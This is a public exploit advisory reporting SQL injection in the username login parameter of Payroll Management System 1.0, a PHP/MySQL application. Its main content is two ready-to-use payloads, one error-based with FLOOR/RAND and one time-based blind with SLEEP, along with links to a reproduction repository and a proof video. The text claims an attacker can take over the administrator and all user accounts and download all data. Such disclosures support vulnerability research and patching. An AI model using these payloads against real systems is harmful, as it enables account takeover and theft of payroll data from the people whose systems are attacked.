Payroll Management System 1.0 SQL Injection

`## Title: Payroll Management System v1.0 SQLi  
## Author: nu11secur1ty  
## Date: 04.03.2022  
## Vendor: https://www.sourcecodester.com/user/257130/activity  
## Software: https://www.sourcecodester.com/php/14475/payroll-management-system-using-phpmysql-source-code.html  
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/Payroll-Management-System  
  
## Description:  
The `username` parameter appears to be vulnerable to SQL injection attacks.  
The application interacted with that domain, indicating that the  
injected SQL query was executed.  
The attacker can take administrator account control and also of all  
accounts on this system, also the malicious user can download all  
information about this system.  
  
Status: CRITICAL  
  
[+] Payloads:  
  
```mysql  
  
---  
Parameter: username (POST)  
Type: error-based  
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or  
GROUP BY clause (FLOOR)  
Payload: username=qkdmZlGW' AND (SELECT 3371 FROM(SELECT  
COUNT(*),CONCAT(0x716b707871,(SELECT  
(ELT(3371=3371,1))),0x717a7a7871,FLOOR(RAND(0)*2))x FROM  
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- VIhP&password=s0N!s2u!A6'  
  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: username=qkdmZlGW' AND (SELECT 9476 FROM  
(SELECT(SLEEP(5)))NodP)-- Xiww&password=s0N!s2u!A6'  
---  
  
```  
  
## Reproduce:  
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/Payroll-Management-System)  
  
## Proof and Exploit:  
[href](https://streamable.com/aj8bcv)  
  
  
`